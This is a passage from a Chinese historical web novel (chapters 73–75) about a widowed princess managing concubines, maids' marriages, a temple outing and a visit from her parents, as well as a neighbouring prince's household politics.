以前徒宏远在的时候,她们大多数时间想的就是争宠生孩子,如今没了男人,没孩子的还好,可以清静自在过日子,像是刘氏她们三个,如今还开始学着写字画画了。但是有孩子的几个,心里想的还是孩子将来是封县主还是乡君,要嫁什么人,府里能给她们准备多少嫁妆。原本在府里跟着兄弟们一起玩,她们没什么想法,因为女孩子长大了,还是要依靠兄弟的,如今关系亲密了,以后有什么事,还能回娘家找兄弟撑腰,跟隔 壁堂兄弟姐妹玩也是差不多的道理。 但这个到了外头,虽说不用考虑男女大防,可真要是养得野了心,再叫外头人知道了她们不够服顺的名声,婚事上该怎么办呢? 顾晓干脆明明白白跟她们说:“这京中风气不比南边,我在娘家的时候,也是经常与一种小姐妹一起玩的。你要是不参加什么交际,谁家知道你家有适龄的女孩子,又怎么知道女孩子品貌如何呢?”像是荣国府后来一样,将女孩子当做小猫小狗一样在老太太面前养着,除了探春跟着去过几次舅舅家,其他女孩连亲戚家都不去的情况也少见。要不,怎么贾敏当初未嫁的时候,也是各种赏花会的常客呢? 周氏跟陈氏这会儿却开始表忠心:“我们几个眼皮子浅,不知道娘娘的一片苦心,两个姑娘都是娘娘的女儿,自然万事都有娘娘做主!”黄氏慢了一步,也赶紧跟着表态,心里却担心自己之前那几句话得罪了太妃,影响女儿前程。 顾晓原本颇有兴致,这会儿也有些索然寡味,只是含笑说道:“罢了,你们也说了,两个姑娘也都是我的女儿,我哪有不放在心上的道理!”说着,又看向了末儿,笑道:“末儿,要不要跟妈妈一起到外面走一走?” 末儿之前不想跟着哥哥姐姐出去,这会儿听到顾晓也想出去玩,不由有些犹豫,不过很快还是下定了决心,摆出一副“我都是陪你”的模样,站起身来:“那好吧,我跟妈妈一起出去!” 顾晓携了末儿,身后又是乌泱泱一群人跟着,一块出门了。李氏瞥了几个太姨娘一眼,露出了一个讥讽的神情,扬声说道:“这人啊,就得认命,真当你肚子里爬出来的,你就能做主了?要不是咱们家娘娘宽和,家里姑娘坐着,你们都得站着,姑娘吃着,你们得伺候着,如今竟是还不知足,倒想要做姑娘的主,也不知道哪来的胆子!行了,我记得昨儿个看见了个亭子,咱们到那边坐坐吧!” 李氏一番讥讽,弄得黄氏愈发尴尬起来,她带着人一走,没孩子的刘氏她们三个也坐不住了,忙说道:“几位姐姐吃茶,妹妹几个先回屋去了!” 眼看着一会儿功夫,就剩下她们几个,周氏还沉得住气,毕竟,佳婉也不是她亲生的,她立场就有些尴尬,陈氏却是气哼哼说道:“黄姐姐,你是不是好日子过得太多了!以前王爷在的时候,怎地不见你多说什么,连多看姐儿一眼都不敢,如今倒是惦记起姐儿的婚事来了!” 黄氏眼泪都要下来了:“我,我就是一时嘴快……” 陈氏冷笑道:“无非是看着娘娘好性罢了!黄姐姐,你也好好想想,真要是让你给姐儿做主,你倒是能让姐儿在家一门不出二门不迈,哪怕是从库里搬个拔步床出来呢,但你知道将来外头有谁能做这个仪宾吗?娘娘要是撒手不管,宗女婚事被坑了的,也不是没有!”说着,她同样站起身来,拂袖而去。 周氏叹道:“好啦,陈妹妹话说得虽说不好听,但也有道理!咱们几个,被人叫一声太姨娘,实际上根本就是名不正言不顺,也就是娘娘瞧着咱们几个可怜,怕咱 们连个奔头都没有,才给了咱们几分体面!咱们也不能真的看不清自个有多大能耐!再有,你这辈子也指不上姑娘,等姑娘嫁出去,咱们还得在王府终老呢!” 黄氏这会儿早就后悔了,听得周氏这般,不由“呜呜”哭了起来:“周姐姐,要是娘娘怪罪我,那可怎么办?” “还能怎么办?娘娘是个大度的,便是侧太妃当年那般,娘娘不还是揭过了?等回去,你好好给娘娘陪个罪,娘娘也就不怪你了!”周氏只得安慰道。 黄氏如同抓住了救命稻草,连忙胡乱点头,说道:“我,我这就回屋做针线,回头给娘娘赔礼!” 顾晓其实没有她们想象的那么生气,说白了,佳婉佳姝又不是她生的,她尽自己的本分罢了,她们的亲娘要是硬是想把她们变成一辈子只能在那四四方方一块天地里头圈着的样子,顾晓也犯不着多这个嘴! 倒是春燕,在一边为顾晓愤愤不平:“以前还当她是个老实人,谁知道竟是这个性子!早知道如此,带她出来做什么,给娘娘添堵吗?” 顾晓摆了摆手,说道:“行啦,她们也都是可怜人,不过,如今既然知道了,那就得赶紧给两孩子挑几个合适的教引嬷嬷了!外头也得打听一下,有没有合适的女先生,总不能好好的金枝玉叶,养出一身小家子气来!” “娘娘就是心善,才叫她们蹬鼻子上脸,要是跟别的府里一样,随便找个院子将人一关,让她们天天吃斋念佛,就没这些心思了!”春香请哼了一声,说道。 “都说了行了,还说这些!”她转头看向其他几个丫头,“之前说好了的,你们今年就出府去,可准备得差不多了?” 这所谓的准备,其实是让她们家里相看合适的人家,她们这等大丫头,如果不想要下一代继续做奴婢的话,其实选择还是挺多的。外头多的是那等小门小户,愿意娶她们这样见识过大场面,关键时刻还能求上贵人的婢女。只不过,大多数见识过高门大户何等煊赫的丫头,不会甘心去做那等人家的媳妇罢了。 春燕脸也不红,随口就说道:“我家里已经给我看好了,是府里程管事家的儿子,以后等我有了孩子,还送进来伺候主子!” 春红却是说道:“前阵子,我一个表姑到我家提亲,我妈说,我那表哥已经是童生了,我嫁过去过几年也能混个秀才娘子!” 顾晓问道:“你表姑家家境如何?” 春红也不是很清楚:“应该还行吧,要不然,也养不起一个读书人!” 顾晓后世见多了负心读书人的故事,这会儿便觉得有些不太靠谱,春红如今虚岁都二十了,那既然是表哥,年纪应该还要大几岁,至今都没有成亲,也不知道有没有什么缘故。不过她也不好多说什么,只是笑道:“那就好,你是个有后福的,说不准以后不光是秀才娘子,还是举人娘子,官夫人呢!” 春红也不扭捏,笑道:“真要有那一天,我还来给娘娘请安!” 其他人也跟着笑了起来:“你个不害臊的,还没嫁过去呢 ,就想着这些了!” 几个丫头年纪都不算小了,之前就跟家里说了今年府里会放她们出去,各家都已经给女儿安排了起来。她们本就是隆安侯府的家生子出身,如今选择范围也宽广,要么嫁给侯府的管事庄头,要么就是在王府里头挑,真正外嫁的就一个春红。 春香早就说了不嫁,如今更是连头都盘起来了,这会儿只是抿着嘴笑,也不多说。她才不信嫁了人能比现在强,她娘当年也是府里得意的丫头,结果嫁了她爹之后又能如何,家里家外一把抓,硬生生将自己活活累死了,白白便宜了别人。至于指望什么儿女孝顺,呵呵,你要是手里有钱,那儿女不孝顺也得孝顺,你要是啥也没有,能得几句嘴上的孝顺就不错了,还能指望什么? 顾晓听了几个丫头的婚事,笑道:“行,既然都定好了,等你们出府,我再给你们准备一份嫁妆!” 春香这才忍不住说道:“这娘娘的恩典,你们可得好好压箱底,别叫其他人给拿了去!” “那是当然,娘娘给的,留着传家不好吗,谁要便宜别人了!”几个丫头嬉笑一番,对未来各有憧憬。 顾晓瞧着她们的模样,心里又是松了口气,幸亏自己穿过来就死了男人,要不然像这个时代的女人一样,对个男人卑躬屈膝,还得忍受他的种种不靠谱,那真不如死了痛快!好在死道友不死贫道,自己算是拣着了! 在外头走了一阵,山风渐渐凉了下来,春香连忙说道:“娘娘,这也不早了,咱们回去吧,再叫人去看看小王爷他们,别不小心吹了风!” 不用春香多费心,跟着几个孩子的丫头婆子已经将人劝回来了,他们也玩得尽兴,采了许多果子回来。顾晓看看他们采回来的果子,再稍微估算一下他们采摘时糟践掉的,便嘱咐人回头再给庙里添一些香油钱,然后才安心看着徒嘉钰在自己面前献宝。 “妈,这是我专门选出来的桃子,你看,这么大,这么红,一定很好吃!”徒嘉钰用帕子托着一个大桃子凑到顾晓面前,得意洋洋说道,“我一眼就看见了,就在树梢上,还借了梯子才摘到的!” “这么辛苦,那我倒要尝尝看了!”顾晓笑眯眯说道,便叫人拿去清洗,又切了块放到盘子里,端了上来,顾晓用银叉子叉了一个,送到嘴里,味道果然不错,不由笑道,“的确好吃,钰儿,你也尝尝!” 徒嘉钰却很有兄长身份地给下面弟弟妹妹都分了一块,自己这才叉了一块吃了,然后得意得眉飞色舞。 一边徒嘉泽却很是不服气,说道:“桃子有什么好吃的,樱桃才好吃!这山上樱桃比山下熟的晚,正是新鲜的时候,我挑的也都是大的!”说着也叫人将自己摘回来的樱桃洗了,端了过来。 顾晓也吃了一个,赞了徒嘉泽一句:“泽儿也辛苦,这樱桃的确不错!”说着,又吩咐人分出一半来,叫人送到李氏那边,让李氏也尝尝徒嘉泽的一片孝心。 徒嘉泽顿时恍然,居然忘了自个亲妈,不过既然顾晓已经想到前头去了,他也便不再多想,而是拿了樱桃分给徒嘉钰她们几个,嘴里还在得意地显摆。 佳婉和佳姝收获就远不如两个兄弟了,这年头的果树跟后世不一样,不是那种专门的矮化品种,哪怕嫁接过,一个个也生得极为高大,徒嘉钰和徒嘉泽可以爬着梯子上去,两个小姑娘却放不开。但是低处成熟的果子早就被采光了,她们最后还是叫跟随的婆子帮着摘了一些,这会儿也捧了上来,顾晓照旧夸奖了一番,然后便留他们都在自己这里吃饭。 说是来庙里吃素斋,但是也不能天天吃,顿顿吃,因此,王府出门也是带了几个厨娘和食材的,又问厨房那边借了两个灶头和碳炉,几个厨娘就开始施展起来。 庙里蒸的大馒头,直接切了片,裹了鸡蛋液,加上一点调味粉,放到油锅里头炸得酥脆;嫩豆腐切丁,与香菇丁,萝卜丁还有几种果仁一起同炒,就是素版的八宝豆腐;豆腐皮裹了山药泥,先用油煎,再加上调料煨煮,就是素烧鹅…… 几个同样在一边做菜的饭头僧看着厨娘一番操作,也是两眼发亮。寺里面也是需要增加一些素斋菜单的,这几样做法,虽说比较耗油,但是庙里什么时候缺过油呢?佛祖那边稍微挪出来一点,也尽够了!只是看着厨娘拿出来的调味粉,他们看了半天,也没明白,闻着又不像是胡椒粉,看着就是那种灰色,但是倒下去之后,就能闻到一股子鲜香,顿时就有些抓心挠肺,想要问清楚那是什么,结果几个厨娘看他们的眼神就像是在看贼:“那是咱们王府的秘方,怎么能叫你们知道!”! 第 74 章 这厨子要是看到吃到什么好菜,哪有不心动的,他们不觉得自己的手艺比王府的厨娘差到哪儿去,但是,只往菜里面放一味秘制调料,菜就鲜美起来,这不是比他们每日里准备素高汤来得方便? 只是人家都说了,这是王府的秘方!换做是个寻常厨子的秘方,那花点钱,或者是想办法叫他捐给佛祖,那真不是什么难事。可王府啊,就算是个没有实权的王府,那也不是一帮和尚能够得罪的。他们心痒得厉害,只得先汇报了海澄方丈,再做计较。 海澄方丈也不是那等眼皮子浅的,他琢磨着,王府的秘制调料,还不定用了多少贵重的材料呢,寺里面素高汤里面最贵的就是香菇,成本可就低得多了,因此便教训了饭头僧一番,表示作为出家人,最忌的就是贪嗔痴,你如今为一个秘制调料念念不忘,这不就是犯戒吗? 被海澄方丈这么一说,不管饭头僧是不是真的大彻大悟,明面上也得摆出一副羞愧的神情,老老实实退下去。 严大娘之后还跑到顾晓这边来说了这事,愤愤说道:“我原本还想着,这些和尚有什么手艺,如今瞧着也就是一般!那什么素斋,吃起来也不比咱们府里强到哪儿去,我虽说没亲眼见着他们吊高汤,但是,在厨房里稍微闻一闻,看一看,也能猜出什么材料!结果如今,他们竟想要做强盗了!咱们王府的便宜,是那么好占的?” 顾晓听得严大娘这般言语,安抚道:“放心吧,人家大概也就是见猎心喜,真要是谋夺咱们府里的秘方,回头名声都要臭了!他们这等方外之人,就算是做什么私底下的勾当,针对的也是下头的人,真要是随便什么人都得罪,那他们这个庙也干不下去了!”僧录司一个衙门,就足够摆弄得一座古刹欲生欲死,别的不说,直接上门来严查你庙里的度牒跟人对不对得上,再查一下寺产,再看看你们私底下有没有什么不法之事……前朝的时候,因为寺庙与权贵勾结,兼并土地,放高利贷,甚至私底下做一些人口买卖,很是引起了不少民愤,本朝对出家人就管得比较严格。 开国那会儿,各个寺庙的寺产都是有严格规定的,一个僧人最多三亩地的菜田,还得亲自耕作,不如将地租给佃农。也就是时间长了,许多人家还自个弄个家庙什么的,僧录司也管不得这些权贵,因此只要民不举,便是官不究,对于下头那些寺庙的不法行为只是睁一只眼闭一只眼。 但是,若是这些寺庙敢得罪哪个大人物,人家随便找个人去僧录司告一状,他们就吃不了兜着走。 严大娘得了顾晓的安抚,甚至还拿了顾晓赏的一个荷包,喜滋滋回去了,回去就看到自己外甥女果儿眼巴巴地坐在那里等着,见她回来,忙问道:“舅妈,娘娘怎么说?” 严大娘得意地说道:“娘娘说没事,还夸我警醒呢!” 果儿松了口气,笑道:“舅妈你平常也动不动念个佛什么的,结果如今到了庙里,反而不想着供奉佛祖了?” 严大娘眉毛一竖,骂道:“佛祖是佛祖,和尚是和尚 !佛祖可不用吃什么好饭好菜,有一炷香火就行!所以,我们府里的秘方,凭什么要便宜那些和尚?他们不好好念佛,倒惦记着好吃好喝?分明就是不要脸!” 然后又看着有些懵逼的果儿,叮嘱道:“何况,你以后想要在厨房里盖,许多事情就得得分清楚!这秘方是王府的,又不是咱们家的!你敢拿着主子的东西出去做人情,那就是作死!” “那个,舅妈你以前不是说这些方子以后可以留在家里传家的吗?”果儿愈发迷惑起来,问道。 严大娘解释道:“咱们都是府里的家生子,这些方子放着,以后家里的人就能在府里厨房当差,这如何不是传家的本事!你看前头大厨房,他们可捞到什么好了?等着吧,等以后你两个哥哥大了,学会了我这身本事,前头大厨房,就也是咱们家做主了!”说着,露出了一点得意地神情来。 果儿赶紧奉承起严大娘来,要不是她舅舅就自个一个嫡亲的外甥女,她也不能进来就到后厨当差。后厨日子多好过啊,虽说要卖些力气,但是每日里光是柴炭米面,就有不少油水,得了上头主子的喜欢,赏钱也丰厚,果儿琢磨着,自己就一直蹲在后厨了,其他地方哪也不去!这会儿看着严大娘手里的荷包,又吵着要看。严大娘便解了荷包,发现里头放着两个银锞子,一个是莲蓬样式,一个是如意样式,一个就有一两重,两个就是二两银子,抵得上严大娘一个多月的月钱了。 果儿忍不住说道:“娘娘真是大方,我记得前些日子,雀儿给正院那边送酸梅饮,那边姐姐直接给她抓了一把钱呢,她差点都没抓得住,还是用帕子兜了拿回来的!” 严大娘笑道:“这算什么,只要讨了娘娘喜欢,她指缝里头漏出来一点,就够你受用不尽的了!你回头打听打听,娘娘给伺候她的那些大丫头,准备了多少嫁妆!啧啧,外头那些地主,嫁女儿都比不得呢!你也别说舅妈不疼你,一会儿拣几样点心,给娘娘那边送过去!这素斋吗,也就是骗骗嘴,吃下去就知道,那是不顶饱的。其他人也就罢了,小王爷如今可是长身体的时候,饿得快着呢!只怕一会儿就觉得饿了,得吃点点心填吧填吧!” 果儿赶紧应了下来,跑去拿了攒盒,就开始往里头挑点心,她在府里时间也不短了,知道府里的口味,不喜甜腻,像是那种酥皮的点心,因为吃起来容易掉渣,小孩子一个不小心,还会被碎屑呛着,吃得也少。平常更喜欢那种蒸出来的点心,酸甜度要适口,咸口的也要清爽。 果儿看了之后,便选了双色豆沙山药糕、藕粉桂花糕、玫瑰马蹄糕和翡翠豆蓉糕,分别拿了几块,摆在碗碟中,严大娘看了暗自点头,这几样好看又好吃,也没放什么糖,也没用多少糯米,吃了不怕不克化,便是小孩子嘴馋,多吃几个也不打紧。 果儿将点心送过去的时候,果然徒嘉钰和徒嘉泽已经有了饿了。他们大多数时候都秉承着吃饭只吃七分饱的原则,尤其这次饭前还吃了不少果子,晚饭的时候就无甚胃口,只是胡乱吃了一些。两人这会儿在禅房里头陪着末儿玩闹了一 回,就发觉肚子里有点空。 这会儿点心来了∵,都是眼睛一亮。顾晓笑着叫人给了果儿赏:“看这几个猴儿,正经的饭不好好吃,这会儿倒是饿了!你先把攒盒留下,明儿个再打发人来拿!” 果儿谢了赏,喜滋滋地捏着个小荷包就回去了。 点心是白日里几个厨娘新做出来的,口感正好,颜值又极高,原本晚上几乎不吃东西的顾晓见了,也忍不住拈了一块翡翠豆蓉糕吃了,末儿本来没饿,也跟徒嘉钰分食了一块玫瑰马蹄糕。像是徒嘉泽,晚饭几乎就没怎么吃,他以前身体不好的时候,很多点心只能看看,如今却颇为喜欢各种甜食,以至于脸都比以前圆了一圈,这会儿一连吃了好几个,还有些意犹未尽,只吓得奶娘赶紧拿走了碗碟:“我的小爷,你可让我省省心吧!之前瞧着你一顿饭吃个两三口我担心,如今又吃这么多,可别将肚子给撑破了!” 徒嘉泽对李氏的话素来是选择性听的,但是对两个奶娘的话还是听的,这会儿被奶娘这么一念叨,虽说还想要再吃一点,还是老老实实收了手,答应道:“我知道了,不会再吃了!” 顾晓笑道:“一会儿带他回去的时候,让他走几步,稍微消化一下!睡前还得叫他好好漱口,别把牙给弄坏了!” 奶娘连忙答应下来,瞧着时候已经不早,便拉着徒嘉泽说道:“时候也不早了,也不能再在这儿扰了娘娘的亲近,奴婢这就带二公子回去歇着!” 徒嘉泽之前还没感觉,被奶娘这么一说,便忍不住打了个呵欠,眼睛里泪花都冒出来了,他老老实实给顾晓行礼道别,又强打着精神跟徒嘉钰说道:“大哥,明儿一早我还来跟你一起吃饭,吃过饭再一起出去玩!” 贾瑚不在,徒嘉钰少了个玩伴,徒嘉泽虽说有的时候有些蛮横任性,但是也还算是玩得开,因此徒嘉钰便答应了下来:“那你可得早点过来,来晚了,我可就不等你了!” 徒嘉泽信以为真,立马催着奶娘赶紧带自己回去,连李氏那边都没去,就漱了口,直接躺下了。李氏那边一直关注着这里的动静,顿时就一阵气急:“这养个儿子有什么用,回来连个招呼也不打,就知道气我!” 玉梅忙劝道:“二公子还小呢,他以前身体不好,大家也不拘着他,且想不到这些,以后就好了!” 李氏听着,又开始心疼起来:“我听说娘娘那边觉着府里的奶娘不当用,想着给几个孩子另外找教引嬷嬷呢!我当日入府,不过稍微跟着嬷嬷学了几日规矩,就难得厉害,要不,等泽儿再大一些吧!” 玉梅很想要翻个白眼,这位侧太妃,总是在该管教孩子的时候狠不下这个心,一味溺爱,然后还得抱怨孩子跟自己不贴心。玉梅以前就是西院里的小丫头,虽说不近身伺候,却也看得分明。以前李氏只当徒嘉泽这个体弱的儿子是个注定要早夭的,因此只想痴缠着王爷再生一个,平常也就是借着徒嘉泽的病敛财,并不多管,如今她倒是想要儿子贴心孝顺了,但徒嘉泽前几年小的时候都是两个奶娘带着的,奶娘又精心,这生 恩不如养恩,李氏在徒嘉泽那里自然不如奶娘更亲近。尤其,因为徒嘉泽身体的缘故,之前大家想着他小人家,过一日是一日,都纵着他,以至于他如今连面子上的功夫都做不周全。侧太妃又一意想着要跟儿子亲近,奶娘管教的时候,反倒是各种心疼阻拦,看着是为孩子好,实际上以后有的是她受的。 玉梅只得劝道:“二公子如今身体也好多了,明年都能去前头跟先生一起念书,这规矩上再不齐全,岂不是叫外院的人都觉得二公子荒疏了?别到时候连三公子都不如,难免要叫人说嘴!” “谁敢!”李氏忍不住叫道,但是很快也醒过神来,说道,“你所得是,却是我想差了!我听说娘娘已经叫小王爷准备了折子,叫小王爷回头去弘文馆念书了,小王爷其实也就是比泽儿大一岁,泽儿也不能太落在后头了!” 主仆两个又说了一会子话,玉梅铺了床,拿了蜡烛又四处看了看有没有蚊虫,等各处看了一圈之后,才点了点头,说道:“娘娘,二公子那边已经歇下了,娘娘也先歇着吧!今晚奴婢给娘娘上夜!” 李氏如今也知道收买人心,便说道:“你也不要熬着,就在脚踏上睡着,我要是有事,自然喊你起来!” 玉梅答应了下来,先伺候着李氏睡下,然后便放下细纱帐子,自个也在脚踏上铺了铺盖,将蜡烛吹灭,躺了下来。 王府没人在衙门上差,因此竟是忘了第二天是休沐日,要不是吴嬷嬷提起来之前隆安侯夫人说了会趁着休沐日也来寺里上香,顾晓都差点将这事给忘了。 如今一听,忙叫人去山门外头看着,人来了好赶紧过来禀报,又叫人将茶水点心果子之类都准备妥当,等着隆安侯夫妇过来。 隆安侯夫妇来得也挺早,隆安侯夫人这两年隔几个月都会去一趟王府,去年更是在王府住了挺长一段时间,可隆安侯上一次见到女儿,还是几年前的事情。之前末儿洗三,王府倒是宴客了,但是那会儿顾晓在坐月子,隆安侯哪里能进内宅,连末儿都只瞧了一眼,早就想得狠了,一大早就换了一身精神的衣裳。又怕顾晓觉得他老了,还叫人仔细伺候着净了面,拿隆安侯夫人的面脂抹了一层,连胡子都梳得整整齐齐,只看得隆安侯夫人哭笑不得。 夫妻两个先去大雄宝殿拜了佛,然后就看到吴嬷嬷带着两个丫头在外头候着。 “侯爷,夫人,娘娘一早就等着呢!”吴嬷嬷行礼说道。 隆安侯点了点头,又对吴嬷嬷说道:“这些年,娘娘那边的事儿,却是辛苦嬷嬷了!” 吴嬷嬷摇了摇头,说道:“也是娘娘自己熬出来了,奴婢哪里算得上辛苦!” 隆安侯听得这个熬字,就忍不住想要叹气,隆安侯夫人却在一边说道:“要不是有你在,娘娘也未必撑得下来!走吧,咱们这就去见娘娘!” 顾晓得了消息,已经带着徒嘉钰和末儿在小院门口等候,见得夫妇二人过来,连忙上前相迎。 因着是私底下相见,隆安侯夫妇倒是不需要行礼,要是在公开场合,还 得给女儿行大礼!徒嘉钰也带着末儿老老实实见了外祖外祖母。徒嘉钰对隆安侯已经不怎么熟悉了,末儿更是从没见过,行礼之后,就躲在徒嘉钰后面,只探出头去看。 “爹,妈,咱们就到那亭子里坐一坐,好好说一会儿话!”这年头,父女之间想要近距离接触,也得担心有人说嘴,因此,顾晓便选了个亭子,四边都没有围挡,也算是光风霁月,任谁也没话可说。 隆安侯仔细打量着顾晓,因着在庙里,顾晓上面是一件对襟莲青色暗绣褙子,下面穿着月白绣折枝玉兰的马面裙,腰间一条松花色宫绦垂下,只用了两块普通的玉环压裙,头上除了几根小珠钗点缀之外,也只是戴了一支点翠凤凰步摇,看着有些简素,不免有些心疼,忙说道:“之前给你那些玉料,怎地不先做一套头面出来!” 顾晓笑道:“女儿就是觉得头皮坠得慌,不喜欢戴那等繁复的!” 隆安侯夫人笑道:“还是首饰不够漂亮,要不然啊,你就是头皮生疼,也想戴着呢!” 顾晓连忙解释道:“才不是那样,女儿如今比之前易出汗,这天都热起来了,还满头珠翠的,热得慌!” 隆安侯夫人叹道:“还是体虚,人没缓过来,这几年还得仔细调理着些!”说着,又对着隆安侯抱怨道:“你之前去南边,怎地不想着采买一些上等的官燕回来,光是那些面子上的功夫有什么用!” 隆安侯赶紧说道:“茜香国那边也不产燕窝啊,得是暹罗吕宋那边才有!我也叫人打听了,那一等的官燕,春天才有,之后的就大为不如了!这叫我怎么采买呢!” 顾晓笑道:“妈,爹出去一趟,也是公差,哪能都惦记着这些呢!我这就是略畏热了一些,慢慢也就好了,哪里就这般担心了!” 隆安侯叹道:“你才这个年纪,不趁着年轻好生保养,回头年纪大了,有你受的!”他算是老来得女,当年对上头两个儿子倒也算不得非打即骂,却也颇为严厉,等着不惑之年才有了这一女,那真是爱如珍宝一般,这会儿絮絮叨叨,想着女儿出嫁这些年受的种种委屈,就恨不得将徒宏远的坟都给刨了。 隆安侯夫人却是啐道:“胡说什么呢!她小孩子家家的,哪里就坐下什么病了!”然后又看向顾晓,说道:“你之前也不跟我说这些,我竟当你已经调理好了,如今看起来,还得善加保养才行!” 顾晓笑道:“女儿也明白,别的都是虚的,身体才是自己的!” “明白就好,你也这么大了,别没得让父母还得跟着你劳心!”隆安侯在外虽说不至于口若悬河,这会儿面对女儿的时候,竟是有些拙口笨舌,之前还说顾晓年纪小,现在又说她这么大了。 顾晓连忙应了下来:“是女儿不孝,以后定然不会了!” 隆安侯这会儿也有些不自在,若是没有外孙在,可能要好一些,当着外孙的面跟女儿说体己话,总觉得有些不对劲,因此干脆看向了两个孩子。 他来之前已经准备好了给外孙的见面礼,这会儿便从袖袋里拿了 出来,给徒嘉钰的是一方绿端砚,只有巴掌大小,呈现豆青色。因徒嘉钰属猴,因此上头便是灵猴采桃的图样,看起来活灵活现,徒嘉钰一看就喜欢上了,忙说道:“多谢外公!” 至于末儿,拿到是一尊玉虎小把件,做得颇为灵动可爱,末儿拿在手里,也觉得有趣,跟着徒嘉钰学道:“谢谢外公!” 隆安侯看着两个孩子都生得更肖母一些,愈发觉得欣慰,当下又弯腰跟他们说话,问他们这些日子吃了什么,玩了什么。 末儿一开始还对隆安侯有些陌生,这会儿见他言语温和,神情和蔼,慢慢也亲近起来,便扳着手指头跟隆安侯说自己的玩具,自己的点心,主要还说到自己的两条狗。 隆安侯听着,不由问道:“那怎么不带过来?” 隆安侯夫人白了他一眼,说道:“还怎么不带过来,大家都是过来吃斋的,带两条狗过来作甚?”在佛前啃骨头吗? 隆安侯不免有些尴尬,他赶紧打了个哈哈,笑道:“末儿喜欢这些啊,等回头,外公送你一匹小马好不好?” 徒嘉钰顿时有些吃醋:“只有末儿的吗?那我呢?” 隆安侯笑呵呵说道:“都有,都有!” 顾晓嗔了徒嘉钰一眼,说道:“还说呢,你小时候你外祖也给你送过的。那一年你生日,你外祖给你送了一对小鹿,你非要把它们养在花园里头,结果一个没顾上,直接将花园里芍药牡丹之类都糟践了个精光,只好送到庄子上去,后来你就把这事给忘了!” 徒嘉钰瞪大了眼睛,他是真不记得这事了,忙问道:“那小鹿还在吗?” “可不还在吗?庄子上本来就养了不少鹿呢,如今那边已经有一个鹿群了,你再去,就能看到它们的子子孙孙了!”顾晓笑道。 “那我要去看看!”徒嘉钰兴冲冲地说道。! 第 75 章 顾晓原本就打算叫儿子见识一些民间疾苦,哪怕庄子上日子其实已经比外头强得多,但她总不能真的跟后世变形记一样,把孩子送到贫困山村去,因此,既然徒嘉钰想要去,就答应了下来。 隆安侯夫人却不知道顾晓的打算,只是说道:“如今正是农忙的时候,等闲了再带孩子过去吧!” 顾晓笑道:“正该这个时候带他过去看看呢,要不然,说不定还当粮食是树上长出来的!” 隆安侯点头说道:“正是这个道理,虽说你们家的孩子这几代不用忧心什么前程,但是知晓一些稼穑之事,总归不会是什么坏事,回头也不会叫下头庄头给骗了!” 徒嘉钰哼哼了一声:“我才不会被骗呢!” 几个人都笑了起来:“好,我们钰儿才不会被骗!” 末儿看看这个,又看看那个,隆安侯夫人便将他抱到自己腿上,笑道:“末儿你在看什么啊?” 末儿眨巴着眼睛,问道:“妈妈你们笑什么啊?”徒嘉钰也跟着撅起了嘴,这么大的孩子,最不喜欢被人小瞧。 顾晓笑道:“你哥哥有志气,所以咱们高兴呢!” 末儿当了真,徒嘉钰却觉得还是被取笑了,不免有些怨气。 隆安侯笑着拍了拍徒嘉钰的肩膀:“听说你跟着灵溪先生读书,但是啊,有句话叫做,纸上得来终觉浅,绝知此事要躬行。你这个身份,行不得万里路,那么,多看一看,多做一做,总归是不会错的!” 徒嘉钰认真地答应了下来,自己非要让他们另眼相看不可。 时间总是过得飞快,在寺里用了一顿素斋之后,隆安侯夫妇便打算回去了,就算是亲生父亲,女儿出嫁之后,也是不能太过亲近的,今日能有这半日的相聚,已经是难得。好在王府已经除了服,以后也该正常参与到京城的交际中,到时候自有机会见面。 末儿却有些不舍,他出生之后,身边就没什么男性长辈,隆安侯虽说年纪大了一些,但是言语风趣,又极耐心,在末儿眼里,是一种几位新奇的体验。 顾晓瞧着也有些想法,说是长兄如父,可徒嘉钰比末儿就大了五六岁,自个还是个孩子呢!如今倒是可以考虑着多走走亲戚,叫徒嘉钰和末儿多往隆安侯府走动走动。 打着差不多主意的还有雍王府。 雍王府那边也想让两府的孩子多走动走动,之前季先生已经写了折子,徒嘉钰抄写了一份,然后递上去了。其他几个王府这会儿也跟着出了孝,符合年纪的也都上书请求入弘文馆读书。不过求赐名的却只有平王府,因为其他府里,也没什么嫡幼子,你一个非嫡非长的,圣上日理万机,能有这个时间给你赐名? 雍王虽说如今尽可能表现自己毫无野心,不敢结交朝臣,宗室里头但凡是有点影响力的,也不敢多亲近,生怕被圣上生出什么联想,但是,雍王府将来总归要在宗室圈子里混的,总不能一直游离在外,那么,比起其他人家来说,平王府这个满门妇孺,毫无 威胁的邻居就成了更好的选择。 孩子们之间的往来就成了一个很好的由头,之前徒嘉珩就带着一帮弟弟妹妹跑到平王府玩过不少次?[(,回头徒嘉钰还要去弘文馆,两个孩子正好可以多亲近。可惜雍王妃没个小儿子,要不然的话,正好可以与末儿一起玩耍,府里年龄差不多的都是庶出,身份上倒是有些不搭。倒不是强调嫡庶之别,实在是宗室里头,因为对爵位的严格限制,对于嫡庶区分就很严格,平常各府交际,都是嫡出的混一块,庶出的混一块,像是那等宫宴,庶出的往往连出席的资格都没有。 即便如此,现在想要让雍王妃再生一个也来不及了!何况,哪怕是为了自己百年之后孩子们的生计着想,雍王也不打算再多生几个了,等周侧妃如了愿,以后还是尽可能少生为好。毕竟,雍王府家当就那么多,大头还得留给徒嘉珩,孩子越多,分的就越少,所以,还是算了吧! 雍王有这般想法,正好合了雍王妃的心意,雍王妃如今虽说还没到人老珠黄的年纪,但是在雍王那里,这个雍王妃更像是个后宅的女管家,人家初一十五倒也过来,但多半是盖着棉被纯睡觉,并无什么敦伦之事,偏生一门心思在周侧妃身上下功夫,雍王妃不气恼才怪。 她如今是真羡慕顾晓,摊上这种丈夫,真不如死了算了! 她之前跟顾晓往来不算多,如今却发现,这位七弟妹是个极有生活情趣之人,为人也疏阔宽厚,跟她在一起,自己也能觉得舒心一些,因此,雍王一说,雍王妃便笑道:“王爷说的是,之前我便跟七弟妹那边下了帖子,请七弟妹带着府里几个孩子到咱们王府来玩,等七弟妹他们从惠泰寺回来,就来作客!” 雍王点了点头,又叮嘱道:“他们府里如今孤儿寡母的,若是有什么难处,你也帮着搭把手!” 雍王妃点头说道:“这是自然!”心里却在叹息,人家说是孤儿寡母,那也是正经的王府宗室,除了圣上,谁那么不开眼找他们的麻烦,就算是圣上之后立了太子,新君登基,这种王府也不会在被针对之列,除非有什么私仇。可先平王如今只怕骨头都能打鼓了,哪里还会有什么私仇呢? 而在皇宫之中,圣上正在翻看那几本来自于自己孙子的折子。 之前的事情已经过去了两年多,作为一个皇帝,他真不是什么长情的人,甚至可以称得上是冷酷,他几乎已经忘记自己死去的几个儿子的模样,更别说那些本来就不熟悉的孙子了。 